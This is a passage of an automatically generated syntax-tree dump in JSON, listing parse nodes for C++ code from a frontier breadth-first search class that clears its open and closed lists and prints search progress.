"end_point": {"row": 116, "column": 46}}, {"id": 646, "type": "identifier", "text": "mClosed1", "parent": 645, "children": [], "start_point": {"row": 116, "column": 33}, "end_point": {"row": 116, "column": 41}}, {"id": 647, "type": "field_identifier", "text": "size", "parent": 645, "children": [], "start_point": {"row": 116, "column": 42}, "end_point": {"row": 116, "column": 46}}, {"id": 648, "type": "argument_list", "text": "()", "parent": 644, "children": [], "start_point": {"row": 116, "column": 46}, "end_point": {"row": 116, "column": 48}}, {"id": 649, "type": "+", "text": "+", "parent": 629, "children": [], "start_point": {"row": 116, "column": 48}, "end_point": {"row": 116, "column": 49}}, {"id": 650, "type": "call_expression", "text": "mClosed2.size()", "parent": 629, "children": [651, 654], "start_point": {"row": 116, "column": 49}, "end_point": {"row": 116, "column": 64}}, {"id": 651, "type": "field_expression", "text": "mClosed2.size", "parent": 650, "children": [652, 653], "start_point": {"row": 116, "column": 49}, "end_point": {"row": 116, "column": 62}}, {"id": 652, "type": "identifier", "text": "mClosed2", "parent": 651, "children": [], "start_point": {"row": 116, "column": 49}, "end_point": {"row": 116, "column": 57}}, {"id": 653, "type": "field_identifier", "text": "size", "parent": 651, "children": [], "start_point": {"row": 116, "column": 58}, "end_point": {"row": 116, "column": 62}}, {"id": 654, "type": "argument_list", "text": "()", "parent": 650, "children": [], "start_point": {"row": 116, "column": 62}, "end_point": {"row": 116, "column": 64}}, {"id": 655, "type": "if_statement", "text": "if ((mOpen1.size() == 0) && (mOpen2.size() == 0))\n\t\treturn true;", "parent": 0, "children": [656, 677], "start_point": {"row": 117, "column": 1}, "end_point": {"row": 118, "column": 14}}, {"id": 656, "type": "parenthesized_expression", "text": "((mOpen1.size() == 0) && (mOpen2.size() == 0))", "parent": 655, "children": [657], "start_point": {"row": 117, "column": 4}, "end_point": {"row": 117, "column": 50}}, {"id": 657, "type": "binary_expression", "text": "(mOpen1.size() == 0) && (mOpen2.size() == 0)", "parent": 656, "children": [658, 667, 668], "start_point": {"row": 117, "column": 5}, "end_point": {"row": 117, "column": 49}}, {"id": 658, "type": "parenthesized_expression", "text": "(mOpen1.size() == 0)", "parent": 657, "children": [659], "start_point": {"row": 117, "column": 5}, "end_point": {"row": 117, "column": 25}}, {"id": 659, "type": "binary_expression", "text": "mOpen1.size() == 0", "parent": 658, "children": [660, 665, 666], "start_point": {"row": 117, "column": 6}, "end_point": {"row": 117, "column": 24}}, {"id": 660, "type": "call_expression", "text": "mOpen1.size()", "parent": 659, "children": [661, 664], "start_point": {"row": 117, "column": 6}, "end_point": {"row": 117, "column": 19}}, {"id": 661, "type": "field_expression", "text": "mOpen1.size", "parent": 660, "children": [662, 663], "start_point": {"row": 117, "column": 6}, "end_point": {"row": 117, "column": 17}}, {"id": 662, "type": "identifier", "text": "mOpen1", "parent": 661, "children": [], "start_point": {"row": 117, "column": 6}, "end_point": {"row": 117, "column": 12}}, {"id": 663, "type": "field_identifier", "text": "size", "parent": 661, "children": [], "start_point": {"row": 117, "column": 13}, "end_point": {"row": 117, "column": 17}}, {"id": 664, "type": "argument_list", "text": "()", "parent": 660, "children": [], "start_point": {"row": 117, "column": 17}, "end_point": {"row": 117, "column": 19}}, {"id": 665, "type": "==", "text": "==", "parent": 659, "children": [], "start_point": {"row": 117, "column": 20}, "end_point": {"row": 117, "column": 22}}, {"id": 666, "type": "number_literal", "text": "0", "parent": 659, "children": [], "start_point": {"row": 117, "column": 23}, "end_point": {"row": 117, "column": 24}}, {"id": 667, "type": "&&", "text": "&&", "parent": 657, "children": [], "start_point": {"row": 117, "column": 26}, "end_point": {"row": 117, "column": 28}}, {"id": 668, "type": "parenthesized_expression", "text": "(mOpen2.size() == 0)", "parent": 657, "children": [669], "start_point": {"row": 117, "column": 29}, "end_point": {"row": 117, "column": 49}}, {"id": 669, "type": "binary_expression", "text": "mOpen2.size() == 0", "parent": 668, "children": [670, 675, 676], "start_point": {"row": 117, "column": 30}, "end_point": {"row": 117, "column": 48}}, {"id": 670, "type": "call_expression", "text": "mOpen2.size()", "parent": 669, "children": [671, 674], "start_point": {"row": 117, "column": 30}, "end_point": {"row": 117, "column": 43}}, {"id": 671, "type": "field_expression", "text": "mOpen2.size", "parent": 670, "children": [672, 673], "start_point": {"row": 117, "column": 30}, "end_point": {"row": 117, "column": 41}}, {"id": 672, "type": "identifier", "text": "mOpen2", "parent": 671, "children": [], "start_point": {"row": 117, "column": 30}, "end_point": {"row": 117, "column": 36}}, {"id": 673, "type": "field_identifier", "text": "size", "parent": 671, "children": [], "start_point": {"row": 117, "column": 37}, "end_point": {"row": 117, "column": 41}}, {"id": 674, "type": "argument_list", "text": "()", "parent": 670, "children": [], "start_point": {"row": 117, "column": 41}, "end_point": {"row": 117, "column": 43}}, {"id": 675, "type": "==", "text": "==", "parent": 669, "children": [], "start_point": {"row": 117, "column": 44}, "end_point": {"row": 117, "column": 46}}, {"id": 676, "type": "number_literal", "text": "0", "parent": 669, "children": [], "start_point": {"row": 117, "column": 47}, "end_point": {"row": 117, "column": 48}}, {"id": 677, "type": "return_statement", "text": "return true;", "parent": 655, "children": [678], "start_point": {"row": 118, "column": 2}, "end_point": {"row": 118, "column": 14}}, {"id": 678, "type": "true", "text": "true", "parent": 677, "children": [], "start_point": {"row": 118, "column": 9}, "end_point": {"row": 118, "column": 13}}, {"id": 679, "type": "return_statement", "text": "return false;", "parent": 0, "children": [680], "start_point": {"row": 119, "column": 1}, "end_point": {"row": 119, "column": 14}}, {"id": 680, "type": "false", "text": "false", "parent": 679, "children": [], "start_point": {"row": 119, "column": 8}, "end_point": {"row": 119, "column": 13}}, {"id": 681, "type": "comma_expression", "text": "template <class state, class action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<state> &thePath)\n{\n\tnodesExpanded = nodesTouched = 0", "parent": 0, "children": [682, 685, 687], "start_point": {"row": 123, "column": 0}, "end_point": {"row": 128, "column": 33}}, {"id": 682, "type": "binary_expression", "text": "template <class", "parent": 681, "children": [683, 684], "start_point": {"row": 123, "column": 0}, "end_point": {"row": 123, "column": 15}}, {"id": 683, "type": "identifier", "text": "template", "parent": 682, "children": [], "start_point": {"row": 123, "column": 0}, "end_point": {"row": 123, "column": 8}}, {"id": 684, "type": "<", "text": "<", "parent": 682, "children": [], "start_point": {"row": 123, "column": 9}, "end_point": {"row": 123, "column": 10}}, {"id": 685, "type": "ERROR", "text": "state", "parent": 681, "children": [686], "start_point": {"row": 123, "column": 16}, "end_point": {"row": 123, "column": 21}}, {"id": 686, "type": "identifier", "text": "state", "parent": 685, "children": [], "start_point": {"row": 123, "column": 16}, "end_point": {"row": 123, "column": 21}}, {"id": 687, "type": "comma_expression", "text": "action>\nvoid FrontierBFS<state, action>::GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<state> &thePath)\n{\n\tnodesExpanded = nodesTouched = 0", "parent": 681, "children": [688, 697], "start_point": {"row": 123, "column": 29}, "end_point": {"row": 128, "column": 33}}, {"id": 688, "type": "binary_expression", "text": "action>\nvoid FrontierBFS<state", "parent": 687, "children": [689, 695, 696], "start_point": {"row": 123, "column": 29}, "end_point": {"row": 124, "column": 22}}, {"id": 689, "type": "binary_expression", "text": "action>\nvoid FrontierBFS", "parent": 688, "children": [690, 691, 692, 694], "start_point": {"row": 123, "column": 29}, "end_point": {"row": 124, "column": 16}}, {"id": 690, "type": "identifier", "text": "action", "parent": 689, "children": [], "start_point": {"row": 123, "column": 29}, "end_point": {"row": 123, "column": 35}}, {"id": 691, "type": ">", "text": ">", "parent": 689, "children": [], "start_point": {"row": 123, "column": 35}, "end_point": {"row": 123, "column": 36}}, {"id": 692, "type": "ERROR", "text": "void", "parent": 689, "children": [693], "start_point": {"row": 124, "column": 0}, "end_point": {"row": 124, "column": 4}}, {"id": 693, "type": "identifier", "text": "void", "parent": 692, "children": [], "start_point": {"row": 124, "column": 0}, "end_point": {"row": 124, "column": 4}}, {"id": 694, "type": "identifier", "text": "FrontierBFS", "parent": 689, "children": [], "start_point": {"row": 124, "column": 5}, "end_point": {"row": 124, "column": 16}}, {"id": 695, "type": "<", "text": "<", "parent": 688, "children": [], "start_point": {"row": 124, "column": 16}, "end_point": {"row": 124, "column": 17}}, {"id": 696, "type": "identifier", "text": "state", "parent": 688, "children": [], "start_point": {"row": 124, "column": 17}, "end_point": {"row": 124, "column": 22}}, {"id": 697, "type": "binary_expression", "text": "action>::GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<state> &thePath)\n{\n\tnodesExpanded = nodesTouched = 0", "parent": 687, "children": [698, 699, 700, 729], "start_point": {"row": 124, "column": 24}, "end_point": {"row": 128, "column": 33}}, {"id": 698, "type": "identifier", "text": "action", "parent": 697, "children": [], "start_point": {"row": 124, "column": 24}, "end_point": {"row": 124, "column": 30}}, {"id": 699, "type": ">", "text": ">", "parent": 697, "children": [], "start_point": {"row": 124, "column": 30}, "end_point": {"row": 124, "column": 31}}, {"id": 700, "type": "ERROR", "text": "::GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<state> &thePath)\n{", "parent": 697, "children": [701], "start_point": {"row": 124, "column": 31}, "end_point": {"row": 127, "column": 1}}, {"id": 701, "type": "call_expression", "text": "GetPath(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<state> &thePath)", "parent": 700, "children": [702, 703], "start_point": {"row": 124, "column": 33}, "end_point": {"row": 126, "column": 39}}, {"id": 702, "type": "identifier", "text": "GetPath", "parent": 701, "children": [], "start_point": {"row": 124, "column": 33}, "end_point": {"row": 124, "column": 40}}, {"id": 703, "type": "argument_list", "text": "(SearchEnvironment<state, action> *env,\n\t\t\t\t\t\t\t\t\t\t state &from, state &to,\n\t\t\t\t\t\t\t\t\t\t std::vector<state> &thePath)", "parent": 701, "children": [704, 708, 714, 716, 719, 721], "start_point": {"row": 124, "column": 40}, "end_point": {"row": 126, "column": 39}}, {"id": 704, "type": "binary_expression", "text": "SearchEnvironment<state", "parent": 703, "children": [705, 706, 707], "start_point": {"row": 124, "column": 41}, "end_point": {"row": 124, "column": 64}}, {"id": 705, "type": "identifier", "text": "SearchEnvironment", "parent": 704, "children": [], "start_point": {"row": 124, "column": 41}, "end_point": {"row": 124, "column": 58}}, {"id": 706, "type": "<", "text": "<", "parent": 704, "children": [], "start_point": {"row": 124, "column": 58}, "end_point": {"row": 124, "column": 59}}, {"id": 707, "type": "identifier", "text": "state", "parent": 704, "children": [], "start_point": {"row": 124, "column": 59}, "end_point": {"row": 124, "column": 64}}, {"id": 708, "type": "binary_expression", "text": "action> *env", "parent": 703, "children": [709, 710, 711], "start_point": {"row": 124, "column": 66}, "end_point": {"row": 124, "column": 78}}, {"id": 709, "type": "identifier", "text": "action", "parent": 708, "children": [], "start_point": {"row": 124, "column": 66}, "end_point": {"row": 124, "column": 72}}, {"id": 710, "type": ">", "text": ">", "parent": 708, "children": [], "start_point": {"row": 124, "column": 72}, "end_point": {"row": 124, "column": 73}}, {"id": 711, "type": "pointer_expression", "text": "*env", "parent": 708, "children": [712, 713], "start_point": {"row": 124, "column": 74}, "end_point": {"row": 124, "column": 78}}, {"id": 712, "type": "*", "text": "*", "parent": 711, "children": [], "start_point": {"row": 124, "column": 74}, "end_point": {"row": 124, "column": 75}}, {"id": 713, "type": "identifier", "text": "env", "parent": 711, "children": [], "start_point": {"row": 124, "column": 75}, "end_point": {"row": 124, "column": 78}}, {"id": 714, "type": "binary_expression", "text": "state &from", "parent": 703, "children": [715], "start_point": {"row": 125, "column": 11}, "end_point": {"row": 125, "column": 22}}, {"id": 715, "type": "identifier", "text": "state", "parent": 714, "children": [], "start_point": {"row": 125, "column": 11}, "end_point": {"row": 125, "column": 16}}, {"id": 716, "type": "binary_expression", "text": "state &to", "parent": 703, "children": [717, 718], "start_point": {"row": 125, "column": 24}, "end_point": {"row": 125, "column": 33}}, {"id": 717, "type": "identifier", "text": "state", "parent": 716, "children": [], "start_point": {"row": 125, "column": 24}, "end_point": {"row": 125, "column": 29}}, {"id": 718, "type": "identifier", "text": "to", "parent": 716, "children": [], "start_point": {"row": 125, "column": 31}, "end_point": {"row": 125, "column": 33}}, {"id": 719, "type": "ERROR", "text": "std::", "parent": 703, "children": [720], "start_point": {"row": 126, "column": 11}, "end_point": {"row": 126, "column": 16}}, {"id": 720, "type": "identifier", "text": "std", "parent": 719, "children": [], "start_point": {"row": 126, "column": 11}, "end_point": {"row": 126, "column": 14}}, {"id": 721, "type": "binary_expression", "text": "vector<state> &thePath", "parent": 703, "children": [722, 726, 727], "start_point": {"row": 126, "column": 16}, "end_point": {"row": 126, "column": 38}}, {"id": 722, "type": "binary_expression", "text": "vector<state", "parent": 721, "children": [723, 724, 725], "start_point": {"row": 126, "column": 16}, "end_point": {"row": 126, "column": 28}}, {"id": 723, "type": "identifier", "text": "vector", "parent": 722, "children": [], "start_point": {"row": 126, "column": 16}, "end_point": {"row": 126, "column": 22}}, {"id": 724, "type": "<", "text": "<", "parent": 722, "children": [], "start_point": {"row": 126, "column": 22}, "end_point": {"row": 126, "column": 23}}, {"id": 725, "type": "identifier", "text": "state", "parent": 722, "children": [], "start_point": {"row": 126, "column": 23}, "end_point": {"row": 126, "column": 28}}, {"id": 726, "type": ">", "text": ">", "parent": 721, "children": [], "start_point": {"row": 126, "column": 28}, "end_point": {"row": 126, "column": 29}}, {"id": 727, "type": "pointer_expression", "text": "&thePath", "parent": 721, "children": [728], "start_point": {"row": 126, "column": 30}, "end_point": {"row": 126, "column": 38}}, {"id": 728, "type": "identifier", "text": "thePath", "parent": 727, "children": [], "start_point": {"row": 126, "column": 31}, "end_point": {"row": 126, "column": 38}}, {"id": 729, "type": "assignment_expression", "text": "nodesExpanded = nodesTouched = 0", "parent": 697, "children": [730, 731, 732], "start_point": {"row": 128, "column": 1}, "end_point": {"row": 128, "column": 33}}, {"id": 730, "type": "identifier", "text": "nodesExpanded", "parent": 729, "children": [], "start_point": {"row": 128, "column": 1}, "end_point": {"row": 128, "column": 14}}, {"id": 731, "type": "=", "text": "=", "parent": 729, "children": [], "start_point": {"row": 128, "column": 15}, "end_point": {"row": 128, "column": 16}}, {"id": 732, "type": "assignment_expression", "text": "nodesTouched = 0", "parent": 729, "children": [733, 734, 735], "start_point": {"row": 128, "column": 17}, "end_point": {"row": 128, "column": 33}}, {"id": 733, "type": "identifier", "text": "nodesTouched", "parent": 732, "children": [], "start_point": {"row": 128, "column": 17}, "end_point": {"row": 128, "column": 29}}, {"id": 734, "type": "=", "text": "=", "parent": 732, "children": [], "start_point": {"row": 128, "column": 30}, "end_point": {"row": 128, "column": 31}}, {"id": 735, "type": "number_literal", "text": "0", "parent": 732, "children": [], "start_point": {"row": 128, "column": 32}, "end_point": {"row": 128, "column": 33}}, {"id": 736, "type": "call_expression", "text": "mOpen1.clear()", "parent": 0, "children": [737, 740], "start_point": {"row": 130, "column": 1}, "end_point": {"row": 130, "column": 15}}, {"id": 737, "type": "field_expression", "text": "mOpen1.clear", "parent": 736, "children": [738, 739], "start_point": {"row": 130, "column": 1}, "end_point": {"row": 130, "column": 13}}, {"id": 738, "type": "identifier", "text": "mOpen1", "parent": 737, "children": [], "start_point": {"row": 130, "column": 1}, "end_point": {"row": 130, "column": 7}}, {"id": 739, "type": "field_identifier", "text": "clear", "parent": 737, "children": [], "start_point": {"row": 130, "column": 8}, "end_point": {"row": 130, "column": 13}}, {"id": 740, "type": "argument_list", "text": "()", "parent": 736, "children": [], "start_point": {"row": 130, "column": 13}, "end_point": {"row": 130, "column": 15}}, {"id": 741, "type": "call_expression", "text": "mOpen2.clear()", "parent": 0, "children": [742, 745], "start_point": {"row": 131, "column": 1}, "end_point": {"row": 131, "column": 15}}, {"id": 742, "type": "field_expression", "text": "mOpen2.clear", "parent": 741, "children": [743, 744], "start_point": {"row": 131, "column": 1}, "end_point": {"row": 131, "column": 13}}, {"id": 743, "type": "identifier", "text": "mOpen2", "parent": 742, "children": [], "start_point": {"row": 131, "column": 1}, "end_point": {"row": 131, "column": 7}}, {"id": 744, "type": "field_identifier", "text": "clear", "parent": 742, "children": [], "start_point": {"row": 131, "column": 8}, "end_point": {"row": 131, "column": 13}}, {"id": 745, "type": "argument_list", "text": "()", "parent": 741, "children": [], "start_point": {"row": 131, "column": 13}, "end_point": {"row": 131, "column": 15}}, {"id": 746, "type": "call_expression", "text": "mClosed1.clear()", "parent": 0, "children": [747, 750], "start_point": {"row": 132, "column": 1}, "end_point": {"row": 132, "column": 17}}, {"id": 747, "type": "field_expression", "text": "mClosed1.clear", "parent": 746, "children": [748, 749], "start_point": {"row": 132, "column": 1}, "end_point": {"row": 132, "column": 15}}, {"id": 748, "type": "identifier", "text": "mClosed1", "parent": 747, "children": [], "start_point": {"row": 132, "column": 1}, "end_point": {"row": 132, "column": 9}}, {"id": 749, "type": "field_identifier", "text": "clear", "parent": 747, "children": [], "start_point": {"row": 132, "column": 10}, "end_point": {"row": 132, "column": 15}}, {"id": 750, "type": "argument_list", "text": "()", "parent": 746, "children": [], "start_point": {"row": 132, "column": 15}, "end_point": {"row": 132, "column": 17}}, {"id": 751, "type": "call_expression", "text": "mClosed2.clear()", "parent": 0, "children": [752, 755], "start_point": {"row": 133, "column": 1}, "end_point": {"row": 133, "column": 17}}, {"id": 752, "type": "field_expression", "text": "mClosed2.clear", "parent": 751, "children": [753, 754], "start_point": {"row": 133, "column": 1}, "end_point": {"row": 133, "column": 15}}, {"id": 753, "type": "identifier", "text": "mClosed2", "parent": 752, "children": [], "start_point": {"row": 133, "column": 1}, "end_point": {"row": 133, "column": 9}}, {"id": 754, "type": "field_identifier", "text": "clear", "parent": 752, "children": [], "start_point": {"row": 133, "column": 10}, "end_point": {"row": 133, "column": 15}}, {"id": 755, "type": "argument_list", "text": "()", "parent": 751, "children": [], "start_point": {"row": 133, "column": 15}, "end_point": {"row": 133, "column": 17}}, {"id": 756, "type": "call_expression", "text": "mOpen1.push_back(from)", "parent": 0, "children": [757, 760], "start_point": {"row": 135, "column": 1}, "end_point": {"row": 135, "column": 23}}, {"id": 757, "type": "field_expression", "text": "mOpen1.push_back", "parent": 756, "children": [758, 759], "start_point": {"row": 135, "column": 1}, "end_point": {"row": 135, "column": 17}}, {"id": 758, "type": "identifier", "text": "mOpen1", "parent": 757, "children": [], "start_point": {"row": 135, "column": 1}, "end_point": {"row": 135, "column": 7}}, {"id": 759, "type": "field_identifier", "text": "push_back", "parent": 757, "children": [], "start_point": {"row": 135, "column": 8}, "end_point": {"row": 135, "column": 17}}, {"id": 760, "type": "argument_list", "text": "(from)", "parent": 756, "children": [], "start_point": {"row": 135, "column": 17}, "end_point": {"row": 135, "column": 23}}, {"id": 761, "type": "assignment_expression", "text": "depth = 0", "parent": 0, "children": [762, 763, 764], "start_point": {"row": 137, "column": 1}, "end_point": {"row": 137, "column": 10}}, {"id": 762, "type": "identifier", "text": "depth", "parent": 761, "children": [], "start_point": {"row": 137, "column": 1}, "end_point": {"row": 137, "column": 6}}, {"id": 763, "type": "=", "text": "=", "parent": 761, "children": [], "start_point": {"row": 137, "column": 7}, "end_point": {"row": 137, "column": 8}}, {"id": 764, "type": "number_literal", "text": "0", "parent": 761, "children": [], "start_point": {"row": 137, "column": 9}, "end_point": {"row": 137, "column": 10}}, {"id": 765, "type": "declaration", "text": "uint64_t n = nodesExpanded;", "parent": 0, "children": [766, 767], "start_point": {"row": 138, "column": 1}, "end_point": {"row": 138, "column": 28}}, {"id": 766, "type": "primitive_type", "text": "uint64_t", "parent": 765, "children": [], "start_point": {"row": 138, "column": 1}, "end_point": {"row": 138, "column": 9}}, {"id": 767, "type": "init_declarator", "text": "n = nodesExpanded", "parent": 765, "children": [768, 769, 770], "start_point": {"row": 138, "column": 10}, "end_point": {"row": 138, "column": 27}}, {"id": 768, "type": "identifier", "text": "n", "parent": 767, "children": [], "start_point": {"row": 138, "column": 10}, "end_point": {"row": 138, "column": 11}}, {"id": 769, "type": "=", "text": "=", "parent": 767, "children": [], "start_point": {"row": 138, "column": 12}, "end_point": {"row": 138, "column": 13}}, {"id": 770, "type": "identifier", "text": "nodesExpanded", "parent": 767, "children": [], "start_point": {"row": 138, "column": 14}, "end_point": {"row": 138, "column": 27}}, {"id": 771, "type": "while_statement", "text": "while ((mOpen1.size() != 0) || (mOpen2.size() != 0))\n\t{\n\t\tprintf(\"Depth %d; nodes expanded %lld (%lld new); %d in memory\\n\", depth, nodesExpanded, nodesExpanded - n,\n\t\t\t mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size());\n\t\tn = nodesExpanded;\n\t\tif (mOpen1.size() == 0)\n\t\t{\n\t\t\tExpandLevel(env, mOpen2, mClosed2, mOpen1, mClosed1);\n\t\t\tmClosed1.clear();\n\t\t}\n\t\telse {\n\t\t\tExpandLevel(env, mOpen1, mClosed1, mOpen2, mClosed2);\n\t\t\tmClosed2.clear();\n\t\t}\n\t\tdepth++;\t\t\n\t}", "parent": 0, "children": [772], "start_point": {"row": 139, "column": 1}, "end_point": {"row": 154, "column": 2}}, {"id": 772, "type": "parenthesized_expression", "text": "((mOpen1.size() != 0) || (mOpen2.size() != 0))", "parent": 771, "children": [773], "start_point": {"row": 139, "column": 7}, "end_point": {"row": 139, "column": 53}}, {"id": 773, "type": "binary_expression", "text": "(mOpen1.size() != 0) || (mOpen2.size() != 0)", "parent": 772, "children": [774, 783, 784], "start_point": {"row": 139, "column": 8}, "end_point": {"row": 139, "column": 52}}, {"id": 774, "type": "parenthesized_expression", "text": "(mOpen1.size() != 0)", "parent": 773, "children": [775], "start_point": {"row": 139, "column": 8}, "end_point": {"row": 139, "column": 28}}, {"id": 775, "type": "binary_expression", "text": "mOpen1.size() != 0", "parent": 774, "children": [776, 781, 782], "start_point": {"row": 139, "column": 9}, "end_point": {"row": 139, "column": 27}}, {"id": 776, "type": "call_expression", "text": "mOpen1.size()", "parent": 775, "children": [777, 780], "start_point": {"row": 139, "column": 9}, "end_point": {"row": 139, "column": 22}}, {"id": 777, "type": "field_expression", "text": "mOpen1.size", "parent": 776, "children": [778, 779], "start_point": {"row": 139, "column": 9}, "end_point": {"row": 139, "column": 20}}, {"id": 778, "type": "identifier", "text": "mOpen1", "parent": 777, "children": [], "start_point": {"row": 139, "column": 9}, "end_point": {"row": 139, "column": 15}}, {"id": 779, "type": "field_identifier", "text": "size", "parent": 777, "children": [], "start_point": {"row": 139, "column": 16}, "end_point": {"row": 139, "column": 20}}, {"id": 780, "type": "argument_list", "text": "()", "parent": 776, "children": [], "start_point": {"row": 139, "column": 20}, "end_point": {"row": 139, "column": 22}}, {"id": 781, "type": "!=", "text": "!=", "parent": 775, "children": [], "start_point": {"row": 139, "column": 23}, "end_point": {"row": 139, "column": 25}}, {"id": 782, "type": "number_literal", "text": "0", "parent": 775, "children": [], "start_point": {"row": 139, "column": 26}, "end_point": {"row": 139, "column": 27}}, {"id": 783, "type": "||", "text": "||", "parent": 773, "children": [], "start_point": {"row": 139, "column": 29}, "end_point": {"row": 139, "column": 31}}, {"id": 784, "type": "parenthesized_expression", "text": "(mOpen2.size() != 0)", "parent": 773, "children": [785], "start_point": {"row": 139, "column": 32}, "end_point": {"row": 139, "column": 52}}, {"id": 785, "type": "binary_expression", "text": "mOpen2.size() != 0", "parent": 784, "children": [786, 791, 792], "start_point": {"row": 139, "column": 33}, "end_point": {"row": 139, "column": 51}}, {"id": 786, "type": "call_expression", "text": "mOpen2.size()", "parent": 785, "children": [787, 790], "start_point": {"row": 139, "column": 33}, "end_point": {"row": 139, "column": 46}}, {"id": 787, "type": "field_expression", "text": "mOpen2.size", "parent": 786, "children": [788, 789], "start_point": {"row": 139, "column": 33}, "end_point": {"row": 139, "column": 44}}, {"id": 788, "type": "identifier", "text": "mOpen2", "parent": 787, "children": [], "start_point": {"row": 139, "column": 33}, "end_point": {"row": 139, "column": 39}}, {"id": 789, "type": "field_identifier", "text": "size", "parent": 787, "children": [], "start_point": {"row": 139, "column": 40}, "end_point": {"row": 139, "column": 44}}, {"id": 790, "type": "argument_list", "text": "()", "parent": 786, "children": [], "start_point": {"row": 139, "column": 44}, "end_point": {"row": 139, "column": 46}}, {"id": 791, "type": "!=", "text": "!=", "parent": 785, "children": [], "start_point": {"row": 139, "column": 47}, "end_point": {"row": 139, "column": 49}}, {"id": 792, "type": "number_literal", "text": "0", "parent": 785, "children": [], "start_point": {"row": 139, "column": 50}, "end_point": {"row": 139, "column": 51}}, {"id": 793, "type": "call_expression", "text": "printf(\"Depth %d; nodes expanded %lld (%lld new); %d in memory\\n\", depth, nodesExpanded, nodesExpanded - n,\n\t\t\t mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size())", "parent": 771, "children": [794, 795], "start_point": {"row": 141, "column": 2}, "end_point": {"row": 142, "column": 66}}, {"id": 794, "type": "identifier", "text": "printf", "parent": 793, "children": [], "start_point": {"row": 141, "column": 2}, "end_point": {"row": 141, "column": 8}}, {"id": 795, "type": "argument_list", "text": "(\"Depth %d; nodes expanded %lld (%lld new); %d in memory\\n\", depth, nodesExpanded, nodesExpanded - n,\n\t\t\t mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size())", "parent": 793, "children": [796, 798, 799, 800, 804], "start_point": {"row": 141, "column": 8}, "end_point": {"row": 142, "column": 66}}, {"id": 796, "type": "string_literal", "text": "\"Depth %d; nodes expanded %lld (%lld new); %d in memory\\n\"", "parent": 795, "children": [797], "start_point": {"row": 141, "column": 9}, "end_point": {"row": 141, "column": 67}}, {"id": 797, "type": "escape_sequence", "text": "\\n", "parent": 796, "children": [], "start_point": {"row": 141, "column": 64}, "end_point": {"row": 141, "column": 66}}, {"id": 798, "type": "identifier", "text": "depth", "parent": 795, "children": [], "start_point": {"row": 141, "column": 69}, "end_point": {"row": 141, "column": 74}}, {"id": 799, "type": "identifier", "text": "nodesExpanded", "parent": 795, "children": [], "start_point": {"row": 141, "column": 76}, "end_point": {"row": 141, "column": 89}}, {"id": 800, "type": "binary_expression", "text": "nodesExpanded - n", "parent": 795, "children": [801, 802, 803], "start_point": {"row": 141, "column": 91}, "end_point": {"row": 141, "column": 108}}, {"id": 801, "type": "identifier", "text": "nodesExpanded", "parent": 800, "children": [], "start_point": {"row": 141, "column": 91}, "end_point": {"row": 141, "column": 104}}, {"id": 802, "type": "-", "text": "-", "parent": 800, "children": [], "start_point": {"row": 141, "column": 105}, "end_point": {"row": 141, "column": 106}}, {"id": 803, "type": "identifier", "text": "n", "parent": 800, "children": [], "start_point": {"row": 141, "column": 107}, "end_point": {"row": 141, "column": 108}}, {"id": 804, "type": "binary_expression", "text": "mOpen1.size()+mOpen2.size()+mClosed1.size()+mClosed2.size()", "parent": 795, "children": [805, 824, 825], "start_point": {"row": 142, "column": 6}, "end_point": {"row": 142, "column": 65}}, {"id": 805, "type": "binary_expression", "text": "mOpen1.size()+mOpen2.size()+mClosed1.size()", "parent": 804, "children": [806, 818, 819], "start_point": {"row": 142, "column": 6}, "end_point": {"row": 142, "column": 49}}, {"id": 806, "type": "binary_expression", "text": "mOpen1.size()+mOpen2.size()", "parent": 805, "children": [807, 812, 813], "start_point": {"row": 142, "column": 6}, "end_point": {"row": 142, "column": 33}}, {"id": 807, "type": "call_expression", "text": "mOpen1.size()", "parent": 806, "children": [808, 811], "start_point": {"row": 142, "column": 6}, "end_point": {"row": 142, "column": 19}}, {"id": 808, "type": "field_expression", "text": "mOpen1.size", "parent": 807, "children": [809, 810], "start_point": {"row": 142, "column": 6}, "end_point": {"row": 142, "column": 17}}, {"id": 809, "type": "identifier", "text": "mOpen1", "parent": 808, "children": [], "start_point": {"row": 142, "column": 6}, "end_point": {"row": 142, "column": 12}}, {"id": 810, "type": "field_identifier", "text": "size", "parent": 808, "children": [], "start_point": {"row": 142, "column": 13}, "end_point": {"row": 142, "column": 17}}, {"id": 811, "type": "argument_list", "text": "()", "parent": 807, "children": [], "start_point": {"row": 142, "column": 17}, "end_point": {"row": 142, "column": 19}}, {"id": 812, "type": "+", "text": "+", "parent": 806, "children": [], "start_point": {"row": 142, "column": 19}, "end_point": {"row": 142, "column": 20}}, {"id": 813, "type": "call_expression", "text": "mOpen2.size()", "parent": 806, "children": [814, 817], "start_point": {"row": 142, "column": 20}, "end_point": {"row": 142, "column": 33}}, {"id": 814, "type": "field_expression", "text": "mOpen2.size", "parent": 813, "children": [815, 816], "start_point": {"row": 142, "column": 20}, "end_point": {"row": 142, "column": 31}}, {"id": 815, "type": "identifier", "text": "mOpen2", "parent": 814, "children": [], "start_point": {"row": 142, "column": 20}, "end_point": {"row": 142, "column": 26}}, {"id": 816, "type": "field_identifier", "text": "size", "parent": 814, "children": [], "start_point": {"row": 142, "column": 27}, "end_point": {"row": 142, "column": 31}}, {"id": 817, "type": "argument_list", "text": "()", "parent": 813, "children": [], "start_point": {"row": 142, "column": 31}, "end_point": {"row": 142, "column": 33}}, {"id": 818, "type": "+", "text": "+", "parent": 805, "children": [], "start_point": {"row": 142, "column": 33}, "end_point": {"row": 142, "column": 34}}, {"id": 819, "type": "call_expression", "text": "mClosed1.size()", "parent": 805, "children": [820, 823], "start_point": {"row": 142, "column": 34}, "end_point": {"row": 142, "column": 49}}, {"id": 820, "type": "field_expression", "text": "mClosed1.size", "parent": 819, "children": [821, 822], "start_point": {"row": 142, "column": 